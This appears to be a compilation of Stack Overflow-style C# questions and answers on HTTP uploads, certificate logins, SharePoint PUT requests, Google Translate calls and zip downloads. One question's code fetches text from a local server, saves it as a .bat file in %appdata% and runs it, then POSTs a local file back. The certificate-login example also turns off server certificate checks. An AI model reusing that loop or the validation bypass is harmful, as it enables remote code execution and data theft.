I have no access to Sharepoint server, only like standard user from web page. I can upload manually there my documents. I tried to solve it via C# and I complet any code from examples from net. Our Sharepoint is 2007. My code run without any error. I put there control text to see if its proceed. All runs fine but nothing happens in Sharepoint page, no doc is uploaded. I have no idea why its do nothing :)
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;
using System.Net;
namespace Sharepoint
{
class Program
{
public static void CopyStream(Stream read, Stream write)
{
int len; byte[] temp = new byte[1024];
while ((len = read.Read(temp, 0, temp.Length)) > 0)
{
write.Write(temp, 0, len);
/// Console.WriteLine("test");
}
}
static void Main(string[] args)
{
Uri destUri = new Uri("http://gaja/mBreSKCZ/mreports/sales/reportysales/Test_new.txt");
using (FileStream inStream = File.OpenRead(#"C:\Users\TK20382\Test_new.txt"))
{
WebRequest req = WebRequest.Create(destUri);
req.Method = "PUT";
req.Credentials = CredentialCache.DefaultCredentials; // assuming windows Auth
Console.WriteLine("test");
Console.ReadKey();
using (Stream outStream = req.GetRequestStream())
{
CopyStream(inStream, outStream);
}
}
}
}
}
You are missing HttpWebRequest.GetResponse Method which basically invokes PUT request. In addition if you are targeting .NET Framework >=2.0 version, then CopyStream method could be omitted and the line:
CopyStream(inStream, outStream);
replaced with:
inStream.CopyTo(outStream);
Modified version
public static string UploadFile(string targetUrl,ICredentials credentials, string sourcePath)
{
var request = WebRequest.Create(targetUrl);
request.Method = "PUT";
request.Credentials = credentials;
using (var fileStream = File.OpenRead(sourcePath))
using (var requestStream = request.GetRequestStream())
{
fileStream.CopyTo(requestStream);
}
using (var response = request.GetResponse())
using (var reader = new StreamReader(response.GetResponseStream()))
{
return reader.ReadToEnd();
}
}
Usage
UploadFile("https://contoso.intranet.com/documents/guide.docx", CredentialCache.DefaultCredentials, #"D:\guide.docx");
Alternatively WebClient.UploadFile Method could be utilized as shown below:
public static void UploadFile(string targeUrl, ICredentials credentials, string fileName)
{
using (var client = new WebClient())
{
client.Credentials = credentials;
client.UploadFile(targeUrl, "PUT", fileName);
}
}
Related
So, i made some code in C#, that checks what's inside a file on a certain website.
When it detects a change inside that file, it will execute some command.
Now i'm thinking, is there a way to send some files back to the website?
The website is hosted using Apache2 on a Raspberry Pi.
Here's the code i got:
using System;
using System.Net;
using System.IO;
using System.Threading;
namespace HttpGet
{
class Program
{
static void Main(string[] args)
{
string lastdata = "nice";
int strtp = 0;
string PCName = Environment.MachineName.ToString();
while (true)
{
Console.WriteLine("try..");
var uri = new Uri("http://192.168.1.76/comm.txt");
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(uri);
using var response = (HttpWebResponse)request.GetResponse();
using var stream = response.GetResponseStream();
using var reader = new StreamReader(stream);
var data = reader.ReadToEnd();
if ((lastdata != data) || (strtp == 0))
{
Console.WriteLine("New data:");
Console.WriteLine(data);
lastdata = data;
string appdata = Environment.ExpandEnvironmentVariables("%appdata%");
string path = appdata + #"\temp\temp.bat";
string pathfold = appdata + #"\temp";
string createText = data; ;
if (!Directory.Exists(pathfold))
{
Directory.CreateDirectory(pathfold);
}
using (StreamWriter writer = new StreamWriter(path))
{
writer.WriteLine(createText);
}
System.Diagnostics.Process.Start(path);
if(strtp == 0)
{
strtp = 1;
lastdata = data;
}
using (WebClient client = new WebClient())
{
client.Headers.Add("Content-Type", "application/octet-stream");
using (Stream fileStream = File.OpenRead(#"C:\Users\JEREDEK\Desktop\2\1.rar"))
using (Stream requestStream = client.OpenWrite(new Uri("http://192.168.1.76/stuff"), "POST"))
{
fileStream.CopyTo(requestStream);
}
}
}
else
{
Console.WriteLine("Nothing new.");
}
Thread.Sleep(3000);
}
}
}
}
I use Visual studio 2019 i it matters.
I'm doing some research, and I want to logging into the ecac site using my company's certificate ... using Chrome I can access the system without any problem because chrome asks for the certificate to authenticate the login. I tried to implement a small test crawler, where I put my certificate in the request, but, the government website always returns error ... So I tried to use selenium with the chrome driver to login, but with that it is necessary that I select the certificate manually, and my idea is to do this automatically.
My test source is:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Security.Cryptography.X509Certificates;
using System.Text;
using System.Threading.Tasks;
namespace TestCrawler
{
class Program
{
static void Main(string[] args)
{
string host = #"https://cav.receita.fazenda.gov.br/autenticacao/login";
string certName = #"certificado.pfx";
string password = #"senha";
try
{
X509Certificate2 certificate = new X509Certificate2(certName, password);
ServicePointManager.CheckCertificateRevocationList = false;
ServicePointManager.ServerCertificateValidationCallback = (a, b, c, d) => true;
ServicePointManager.Expect100Continue = true;
HttpWebRequest req = (HttpWebRequest)WebRequest.Create(host);
req.PreAuthenticate = true;
req.AllowAutoRedirect = true;
req.ClientCertificates.Add(certificate);
req.Method = "POST";
req.ContentType = "application/x-www-form-urlencoded";
string postData = "login-form-type=cert";
byte[] postBytes = Encoding.UTF8.GetBytes(postData);
req.ContentLength = postBytes.Length;
Stream postStream = req.GetRequestStream();
postStream.Write(postBytes, 0, postBytes.Length);
postStream.Flush();
postStream.Close();
WebResponse resp = req.GetResponse();
Stream stream = resp.GetResponseStream();
using (StreamReader reader = new StreamReader(stream))
{
string line = reader.ReadLine();
while (line != null)
{
Console.WriteLine(line);
line = reader.ReadLine();
}
}
stream.Close();
}
catch (Exception e)
{
Console.WriteLine(e);
}
}
}
}
When analyzing the source of the ecac site, I have identified that in the login button by the certificate, a JS code is executed
onclick="javascript:document.loginCert.submit(); return false;
My another test:
using System;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Security.Cryptography.X509Certificates;
namespace TestCrawler
{
class Program
{
private static string host = #"https://cav.receita.fazenda.gov.br/";
private static string certName = #"certificado.pfx";
private static string password = #"senha";
static async void Login()
{
X509Certificate2 certificate = new X509Certificate2(certName, password);
var handler = new WebRequestHandler();
handler.ClientCertificates.Add(certificate);
using (var client = new HttpClient(handler))
{
client.BaseAddress = new Uri(host);
client.DefaultRequestHeaders.Accept.Clear();
client.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("text/html"));
// New code:
using (HttpResponseMessage response = await client.GetAsync("autenticacao/Login/Certificado"))
{
using (HttpContent content = response.Content)
{
string result = await content.ReadAsStringAsync();
}
}
}
}
static void Main(string[] args)
{
Login();
Console.ReadLine();
}
}
}
My main Program.cs is as follows:
using System;
using System.Collections.Generic;
using System.Net.NetworkInformation;
using System.Net.Sockets;
using System.IO;
using System.Threading.Tasks;
namespace HTTPrequestApp
{
class Program
{
static void Main(string[] args)
{
var lstWebSites = new List<string>
{
"www.amazon.com",
"www.ebay.com",
"www.att.com",
"www.verizon.com",
"www.sprint.com",
"www.centurylink.com",
"www.yahoo.com"
};
string filename = #"RequestLog.txt";
{
using (var writer = new StreamWriter(filename, true))
{
foreach (string website in lstWebSites)
{
for (var i = 0; i < 4; i++)
{
MyWebRequest request = new MyWebRequest();
request.Request();
}
}
}
}
}
}
}
Then I have a class, and this is where the errors are.
The GetList() error - 'HTTPrequestApp.Program' does not contain a definition for 'GetList'
The client2 error - The name 'client2' does not exist in the current content
MyWebRequest.cs
using System;
using System.Collections.Generic;
using System.IO;
using System.Net.NetworkInformation;
using System.Net.Sockets;
using System.Threading.Tasks;
namespace HTTPrequestApp
{
public class MyWebRequest : HTTPrequestApp.IWebRequest
{
public void Request()
{
List<string> lstWebSites = Program.GetList();
using (var client = new TcpClient(lstWebSites[1], 80))
{
using (NetworkStream stream = client2.GetStream())
using (StreamWriter writer = new StreamWriter(stream))
using (StreamReader reader2 = new StreamReader(stream))
{
writer.AutoFlush = true;
writer.WriteLine("GET / HTTP/1.1");
writer.WriteLine("HOST: {0}:80", lstWebSites[1]);
writer.WriteLine("Connection: Close");
writer.WriteLine();
writer.WriteLine();
string theresponse = reader2.ReadToEnd();
Console.WriteLine(theresponse);
}
}
}
}
}
Finally, I have an Interface. Is this done correctly?
If I am doing something incorrectly please help me, how should I fix it?
IWebRequest.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace HTTPrequestApp
{
interface IWebRequest
{
void Request();
}
}
What I have to do is: send HTTP request to get the initial page and get back the HTTP response. Save it into the .cvs file. Check that it is a 200 response code and time how long it took to retrieve the response. I have to get the response 4 times from each of those websites in my list.
Please help me.
First about your errors :
The provided code does not contain GetList method in Program class as the code shared contains the only main method which defines your websites.
The line using (var client = new TcpClient(lstWebSites[1], 80)) creates client object instead of client2.
Another point, instead of writing to open TCPClient connection to read the response of website you can use HttpClient or WebRequest in-built classes to achieve your functionality.
Here's a full example of what I mean. Keep adding all the websites you want to lstWebSites, and instead of dumping the HTML results to the console, you can write them to a file.
var lstWebSites = new List<string>
{
"https://www.stackoverflow.com",
"https://www.google.com"
};
foreach (string website in lstWebSites)
{
var request = WebRequest.Create(website);
request.Credentials = CredentialCache.DefaultCredentials;
((HttpWebRequest)request).UserAgent = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"; // Lie
var response = request.GetResponse();
if (((HttpWebResponse)response).StatusCode == HttpStatusCode.OK)
{
var stream = response.GetResponseStream();
var reader = new StreamReader(stream);
Console.WriteLine(string.Format("***** {0} *****", website));
Console.WriteLine(reader.ReadToEnd()); // Dump HTML response
}
}
The following is my code for using Google Translate. I have one dll I added as a reference: Google.Apis.Translate.V2
I also bought Google Translate API key.
I have 5 errors since I don't know what dll I need more: These objects do not exist missing namespace: DataContractJsonSerializer , TranslationRootObject , TranslationRootObject
What dll reference do I need for these namespaces?
This is my code, without my API key:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Net;
using System.IO;
using System.Web;
namespace Google_Translate
{
public partial class Form1 : Form
{
static string apiKey = "";
static string texttotranslate = "hello world";
string text;
static String apiUrl = "https://www.googleapis.com/language/translate/v2?key={0}&source={1}&target={2}&q={3}";
static String url = String.Format(apiUrl, apiKey, "en", "ge", texttotranslate);
Stream outputStream = null;
byte[] bytes = Encoding.ASCII.GetBytes(url);
// create the http web request
HttpWebRequest webRequest = (HttpWebRequest)WebRequest.Create(url);
public Form1()
{
InitializeComponent();
webRequest.KeepAlive = true;
webRequest.Method = "POST";
// Overrride the GET method as documented on Google's docu.
webRequest.Headers.Add("X-HTTP-Method-Override: GET");
webRequest.ContentType = "application/x-www-form-urlencoded";
// send POST
try
{
webRequest.ContentLength = bytes.Length;
outputStream = webRequest.GetRequestStream();
outputStream.Write(bytes, 0, bytes.Length);
outputStream.Close();
}
catch (HttpListenerException e)
{
/*...*/
}
translate();
}
private void Form1_Load(object sender, EventArgs e)
{
}
private string translate()
{
try
{
// get the response
HttpWebResponse webResponse = (HttpWebResponse)webRequest.GetResponse();
if (webResponse.StatusCode == HttpStatusCode.OK && webRequest != null)
{
// read response stream
using (StreamReader sr = new StreamReader(webResponse.GetResponseStream(), Encoding.UTF8))
{
string lista = sr.ReadToEnd();
DataContractJsonSerializer serializer = new DataContractJsonSerializer(typeof(TranslationRootObject));
MemoryStream stream = new MemoryStream(Encoding.UTF8.GetBytes(lista));
TranslationRootObject tRootObject = (TranslationRootObject)serializer.ReadObject(stream);
string previousTranslation = string.Empty;
//deserialize
for (int i = 0; i < tRootObject.Data.Detections.Count; i++)
{
string translatedText = tRootObject.Data.Detections[i].TranslatedText.ToString();
if (i == 0)
{
text = translatedText;
}
else
{
if (!text.Contains(translatedText))
{
text = text + " " + translatedText;
}
}
}
return text;
}
}
}
catch (HttpListenerException e)
{
/*...*/
}
return text;
}
}
}
Can someone fix my code or tell me whats wrong please ?
What I need is to translate 29-33kb text file size and I wonder if it's possible to translate it as fast as it does online when using the Google Translate site.
I also found this link Google Translate V2 cannot hanlde large text translations from C# which someone say the translation can't translate big files so I wonder if 29-33kb files are counting as big? If so maybe someone can take a look at the link and fix my code according to the answer in the link I tried a lot now and didn't understand it really. But first I need to find why my original code here doesn't work.
In your project, add a reference to this assembly:
http://msdn.microsoft.com/en-us/library/system.runtime.serialization.json.datacontractjsonserializer.aspx
There may be others you need, I just looked up this one.
I use HTTP GET that downloads a zip file in a browser, something like https://example.com/up/DBID/a/rRID/eFID/vVID (not the exact url)
Now, when I try to do the same download in C# code(same GET method as above) for a desktop application, the zip file downloaded is not a valid archive file. When I opened this file in notepad, it was some HTML page.
I think I'm not setting some header correctly. I looked around for examples. I'd found several wrt uploads, but did not see anything for downloads.
Code:
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
request.Method = "GET";
request.ContentType = "application/zip";
try
{
HttpWebResponse res = (HttpWebResponse)request.GetResponse();
using (StreamReader sr = new StreamReader(res.GetResponseStream(), System.Text.Encoding.Default))
{
StreamWriter oWriter = new StreamWriter(#"D:\Downloads\1.zip");
oWriter.Write(sr.ReadToEnd());
oWriter.Close();
}
res.Close();
}
catch (Exception ex)
{
}
It's mainly because you use a StreamWriter : TextWriter to handle a binary Zip file. A StreamWriter expects text and will apply an Encoding. And even the simple ASCII Encoder might try to 'fix' what it thinks are invalid line-endings.
You can replace all your code with:
using (var client = new WebClient())
{
client.DownloadFile("http://something", #"D:\Downloads\1.zip");
}
Note that for new code you should look at HttpClient instead of WebClient.
And then don't use using( ) { }
You could just use WebClient for a 2-liner:
using(WebClient wc = new WebClient())
{
wc.DownloadFile(url, #"D:\Downloads\1.zip");
}
You can also use System.Net.Http.HttpClient
using (HttpClient client = new HttpClient())
{
using (HttpResponseMessage response = await client.GetAsync(downloadURL))
{
using(var stream = await response.Content.ReadAsStreamAsync())
{
using(Stream zip = FileManager.OpenWrite(ZIP_PATH))
{
stream.CopyTo(zip);
}
}
}
}
Expanding on Ruben's answer which uses HttpClient instead of WebClient, you can add as an extension method like this:
using System.IO;
using System.Net.Http;
using System.Threading.Tasks;
public static class Extensions
{
public static async Task DownloadFile (this HttpClient client, string address, string fileName) {
using (var response = await client.GetAsync(address))
using (var stream = await response.Content.ReadAsStreamAsync())
using (var file = File.OpenWrite(fileName)) {
stream.CopyTo(file);
}
}
}
And then use like this:
var archivePath = "https://api.github.com/repos/microsoft/winget-pkgs/zipball/";
using (var httpClient = new HttpClient())
{
await httpClient.DownloadFile(archivePath, "./repo.zip");
}